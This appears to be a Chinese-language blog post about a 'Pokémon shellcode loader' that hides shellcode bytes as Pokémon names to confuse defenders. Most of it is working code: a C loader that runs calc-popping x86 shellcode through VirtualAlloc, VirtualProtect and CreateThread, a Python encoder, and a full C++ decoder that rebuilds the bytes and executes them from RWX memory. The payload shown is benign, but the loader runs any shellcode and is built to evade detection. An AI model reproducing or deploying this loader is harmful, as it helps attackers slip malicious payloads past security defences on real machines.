厌倦了整天看着十六进制和弹出'\x41'吗?宁愿去看Lugia/Charmander?我为你提供了解决方案。@Checkymander发来了一条推特,关于从Pokémon的名字中创建一个Shellcode 加载器。很有趣的项目,可以混淆蓝队,但没有POC! (至少在我最后一次检查时)
注#1 更新的代码将在我的GitHub上:https://github.com/Techryptic/Pokemon-Shellcode-Loader
注#2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode
注#3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader
有多种方法可以做到这一点。如果我们看一下shellcode,它是一系列从0x00-0xFF的十六进制,或以0-256的十进制形式。我们可以选择的Pokemon(口袋妖怪)刚好超过256个。
从上面的Pokemon图来看,我们可以把编号为001的BULBASAUR翻译成0x01(去掉第一个0)。同样地,CHARMANDER将用0x04表示,以此类推。lucky空字节0x00可以对准Pokemon#257,BLAZIKEN!
将shellcode转换为Pokemon-Shellcode很简单。将Pokemon-Shellcode转换为Assembly怎么样?我们想在.ASM内有一个数组吗?C代码?从外部把它下载下来?
根据这种思路往下走!
我们需要数据。首先,我发现两个区域同时包含Pokemon的编号和名称:
https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6
还有一个只有Pokemon的名字。这可能更有用,因为我们可以在不携带长字符串的情况下获得特定Pokemon的数组索引位置。
https://github.com/sindresorhus/pokemon/blob/main/data/en.json
我正在使用一个普通的POP CALC shellcode,并将其放入C语言代码中。
#include <windows.h> void main() { void* exec; BOOL rv; HANDLE th; DWORD oldprotect = 0; // Shellcode unsigned char payload[] = "\x50\x53\x51\x52\x56\x57\x55\x89" "\xe5\x83\xec\x18\x31\xf6\x56\x6a" "\x63\x66\x68\x78\x65\x68\x57\x69" "\x6e\x45\x89\x65\xfc\x31\xf6\x64" "\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b" "\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10" "\x89\x5d\xf8\x31\xc0\x8b\x43\x3c" "\x01\xd8\x8b\x40\x78\x01\xd8\x8b" "\x48\x24\x01\xd9\x89\x4d\xf4\x8b" "\x78\x20\x01\xdf\x89\x7d\xf0\x8b" "\x50\x1c\x01\xda\x89\x55\xec\x8b" "\x58\x14\x31\xc0\x8b\x55\xf8\x8b" "\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc" "\x8b\x3c\x87\x01\xd7\x66\x83\xc1" "\x08\xf3\xa6\x74\x0a\x40\x39\xd8" "\x72\xe5\x83\xc4\x26\xeb\x41\x8b" "\x4d\xf4\x89\xd3\x8b\x55\xec\x66" "\x8b\x04\x41\x8b\x04\x82\x01\xd8" "\x31\xd2\x52\x68\x2e\x65\x78\x65" "\x68\x63\x61\x6c\x63\x68\x6d\x33" "\x32\x5c\x68\x79\x73\x74\x65\x68" "\x77\x73\x5c\x53\x68\x69\x6e\x64" "\x6f\x68\x43\x3a\x5c\x57\x89\xe6" "\x6a\x0a\x56\xff\xd0\x83\xc4\x46" "\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3"; unsigned int payload_len = 205; exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(exec, payload, payload_len); rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect); th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); WaitForSingleObject(th, -1);}
不合格。它没有做任何恶意的事情,但仍然……不合格。
一个简单的脚本将一个shellcode字节对象转换为Pokémon Shellcode。
import json shellcode = (b"\x41\x42\x20\x43") #Do not edit below PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"] Poke_Shellcode = [] for x in shellcode: Poke_Shellcode.append(PokemonList[x]) print(json.dumps(Poke_Shellcode))
以上面的shellcode为例:
1 |
|
转换为:
有趣的是:我想让Pokemon的名字与它们的编号保持一致(BULBASAUR=#1,或0x01),因此需要用一些东西填充0x00/空字节。有什么比MISSINGNO更合适的呢?
另一个问题是,Pokemon Farfetch'd有一个撇号,如下图。简单的解决方法就是把它去掉,然后叫它。Farfetchd
最后,还有两种Pokemon ,一旦你去掉符号,它们的名字就会相同,这两种Pokemon 的修复方法是加一个F(代表女性),另一个加一个M(代表男性)。
#include <iostream> #include <string> #include <Bits.h> using namespace std; // Created by: Techryptic // @Tech string indexNumberToHexa(int number); void reverse_String(string& str, int last_index, int starting_index); void printAscii(unsigned char* index_to_hexa_array, int counter_s); int main() { string poke_shellcode[] = { "Slowbro", "Farfetchd", "Magnemite", "Magneton", "Seel", "Dewgong", "Dodrio", "Porygon", "Houndoom", "Lapras", "Tyrogue", "Arbok", "Venomoth", "Larvitar", "Seel", "Hitmonlee", "Kingler", "Exeggcute", "Cubone", "Staryu", "Electrode", "Cubone", "Dewgong", "Marowak", "Weezing", "Bellsprout", "Porygon", "Electrode", "Treecko", "Venomoth", "Larvitar", "Voltorb", "Omastar", "Gengar", "Venonat", "Omastar", "Cloyster", "Butterfree", "Omastar", "Cloyster", "Raticate", "Omastar", "Sandshrew", "Omastar", "Sandshrew", "Omastar", "Cloyster", "Pidgey", "Porygon", "Haunter", "Tyranitar", "Venomoth", "Sunflora", "Omastar", "Machoke", "Poliwag", "Bulbasaur", "Teddiursa", "Omastar", "Kadabra", "Staryu", "Bulbasaur", "Teddiursa", "Omastar", "Tentacool", "Clefable", "Bulbasaur", "Ursaring", "Porygon", "Ponyta", "Entei", "Omastar", "Staryu", "NidoranM", "Bulbasaur", "Remoraid", "Porygon", "Electabuzz", "Magby", "Omastar", "Slowbro", "Sandslash", "Bulbasaur", "Slugma", "Porygon", "Dodrio", "Tyrogue", "Omastar", "Grimer", "Raticate", "Venomoth", "Sunflora", "Omastar", "Dodrio", "Tyranitar", "Omastar", "Electabuzz", "Magby", "Omastar", "Seadra", "Treecko", "Venomoth", "Unown", "Treecko", "Omastar", "Poliwag", "Jolteon", "Bulbasaur", "Sneasel", "Exeggcute", "Lapras", "Yanma", "Wartortle", "Raikou", "Ledian", "Horsea", "Caterpie", "Kadabra", "Primeape", "Teddiursa", "Tangela", "Houndoom", "Lapras", "Espeon", "Ninetales", "Smeargle", "Alakazam", "Omastar", "Ponyta", "Entei", "Porygon", "Qwilfish", "Omastar", "Dodrio", "Tyrogue", "Exeggcute", "Omastar", "Charmander", "Alakazam", "Omastar", "Charmander", "Gyarados", "Bulbasaur", "Teddiursa", "Venomoth", "Granbull", "Magneton", "Cubone", "Paras", "Electrode", "Staryu", "Electrode", "Cubone", "Kingler", "Hypno", "Lickitung", "Kingler", "Cubone", "Koffing", "Dugtrio", "Diglett", "Gastly", "Cubone", "Starmie", "Kangaskhan", "Horsea", "Electrode", "Cubone", "Seaking", "Kangaskhan", "Gastly", "Farfetchd", "Cubone", "Marowak", "Weezing", "Voltorb", "Rhyhorn", "Cubone", "Machoke", "Growlithe", "Gastly", "Dewgong", "Porygon", "Kingdra", "Hitmonlee", "Caterpie", "Seel", "Torchic", "Steelix", "Lapras", "Espeon", "Weepinbell", "Haunter", "Onix", "Gengar", "Shellder", "Muk", "Cloyster", "Grimer", "Quagsire" }; /// Do not edit below string pokemon[256] = { "Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod", "Butterfree", "Weedle", "Kakuna", "Beedrill", "Pidgey", "Pidgeotto", "Pidgeot", "Rattata", "Raticate", "Spearow", "Fearow", "Ekans", "Arbok", "Pikachu", "Raichu", "Sandshrew", "Sandslash", "NidoranF", "Nidorina", "Nidoqueen", "NidoranM", "Nidorino", "Nidoking", "Clefairy", "Clefable", "Vulpix", "Ninetales", "Jigglypuff", "Wigglytuff", "Zubat", "Golbat", "Oddish", "Gloom", "Vileplume", "Paras", "Parasect", "Venonat", "Venomoth", "Diglett", "Dugtrio", "Meowth", "Persian", "Psyduck", "Golduck", "Mankey", "Primeape", "Growlithe", "Arcanine", "Poliwag", "Poliwhirl", "Poliwrath", "Abra", "Kadabra", "Alakazam", "Machop", "Machoke", "Machamp", "Bellsprout", "Weepinbell", "Victreebel", "Tentacool", "Tentacruel", "Geodude", "Graveler", "Golem", "Ponyta", "Rapidash", "Slowpoke", "Slowbro", "Magnemite", "Magneton", "Farfetchd", "Doduo", "Dodrio", "Seel", "Dewgong", "Grimer", "Muk", "Shellder", "Cloyster", "Gastly", "Haunter", "Gengar", "Onix", "Drowzee", "Hypno", "Krabby", "Kingler", "Voltorb", "Electrode", "Exeggcute", "Exeggutor", "Cubone", "Marowak", "Hitmonlee", "Hitmonchan", "Lickitung", "Koffing", "Weezing", "Rhyhorn", "Rhydon", "Chansey", "Tangela", "Kangaskhan", "Horsea", "Seadra", "Goldeen", "Seaking", "Staryu", "Starmie", "Mr. Mime", "Scyther", "Jynx", "Electabuzz", "Magmar", "Pinsir", "Tauros", "Magikarp", "Gyarados", "Lapras", "Ditto", "Eevee", "Vaporeon", "Jolteon", "Flareon", "Porygon", "Omanyte", "Omastar", "Kabuto", "Kabutops", "Aerodactyl", "Snorlax", "Articuno", "Zapdos", "Moltres", "Dratini", "Dragonair", "Dragonite", "Mewtwo", "Mew", "Chikorita", "Bayleef", "Meganium", "Cyndaquil", "Quilava", "Typhlosion", "Totodile", "Croconaw", "Feraligatr", "Sentret", "Furret", "Hoothoot", "Noctowl", "Ledyba", "Ledian", "Spinarak", "Ariados", "Crobat", "Chinchou", "Lanturn", "Pichu", "Cleffa", "Igglybuff", "Togepi", "Togetic", "Natu", "Xatu", "Mareep", "Flaaffy", "Ampharos", "Bellossom", "Marill", "Azumarill", "Sudowoodo", "Politoed", "Hoppip", "Skiploom", "Jumpluff", "Aipom", "Sunkern", "Sunflora", "Yanma", "Wooper", "Quagsire", "Espeon", "Umbreon", "Murkrow", "Slowking", "Misdreavus", "Unown", "Wobbuffet", "Girafarig", "Pineco", "Forretress", "Dunsparce", "Gligar", "Steelix", "Snubbull", "Granbull", "Qwilfish", "Scizor", "Shuckle", "Heracross", "Sneasel", "Teddiursa", "Ursaring", "Slugma", "Magcargo", "Swinub", "Piloswine", "Corsola", "Remoraid", "Octillery", "Delibird", "Mantine", "Skarmory", "Houndour", "Houndoom", "Kingdra", "Phanpy", "Donphan", "Porygon2", "Stantler", "Smeargle", "Tyrogue", "Hitmontop", "Smoochum", "Elekid", "Magby", "Miltank", "Blissey", "Raikou", "Entei", "Suicune", "Larvitar", "Pupitar", "Tyranitar", "Lugia", "Ho-Oh", "Celebi", "Treecko", "Grovyle", "Sceptile", "Torchic" }; int size1 = sizeof(pokemon) / sizeof(pokemon[0]); int size2 = sizeof(poke_shellcode) / sizeof(poke_shellcode[0]); //creating a dynamic array for holding indexes having size=siez of poke_shellcode considering the //assumtion that all poke_shellcode elements exist in pokemon int* index = new int[size2]; int index_counter = 0; for (int i = 0; i < size2; i++) { //reading poke_shellcode element one by one for (int j = 0; j < size1; j++) { //reading pokemon element one by one if (poke_shellcode[i].compare(pokemon[j]) == 0) { //both strings are equal index[index_counter] = j; //saving index index_counter++; break; //stoping inner loop } } } //for storing hex values of indexes unsigned char* index_to_hexa_array = new unsigned char[index_counter * 5]; int counter_s = 0; for (int i = 0; i < index_counter; i++) { string value = ""; value += "\\x"; if (index[i] < 10) { value += "0"; } value += indexNumberToHexa(index[i]); //converting each index to hexa and inserting in array for (int k = 0; k < (int)value.length(); k++) { index_to_hexa_array[counter_s] = value[k]; counter_s++; } } std::string payload; index_to_hexa_array[counter_s] = '\0'; printAscii(index_to_hexa_array, counter_s); delete[]index; //freeing memory delete[]index_to_hexa_array; index = nullptr; //reseting the index pointer index_to_hexa_array = nullptr; return 0; } void reverse_String(string& str, int last_index, int starting_index) { if (last_index <= starting_index) { return; } swap(str[starting_index], str[last_index]); reverse_String(str, last_index - 1, starting_index + 1); } string indexNumberToHexa(int number) { string hexavalue = ""; while (number != 0) { int remainder = number % 16; if (remainder < 10) { //number 0-9 hexavalue += remainder + 48; } else {//alphabet A-F hexavalue += remainder + 55; //converting number to alphabet } number = number / 16; } reverse_String(hexavalue, hexavalue.length() - 1, 0); return (hexavalue != "" ? hexavalue : "0"); } void printAscii(unsigned char* index_to_hexa_array, int counter_s) { string sc; for (int i = 2; i < counter_s; i++) { if (index_to_hexa_array[i] != '\\' && index_to_hexa_array[i] != 'x') {//hex value cannot be more than 2 characters string vt; // hex ex: 01 vt.push_back(index_to_hexa_array[i]); vt.push_back(index_to_hexa_array[i + 1]); //cout << (char)stoul(vt, nullptr, 16); unsigned char n = (char)stoul(vt, nullptr, 16); sc += n; i++; } } sc += '\0'; // adding nullbyte to string to mimic array //std::cout << "The size is " << sc.size() << " bytes.\n"; DWORD oldprotect = 0; void* exec = VirtualAlloc(0, sc.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, sc.c_str(), sc.size()); ((void(*)())exec)(); }
这,就是结论。同样的代码,但使用Pokemon产生的结果比我想象的要好得多。
最后,这仍然是一场红与蓝之间的对抗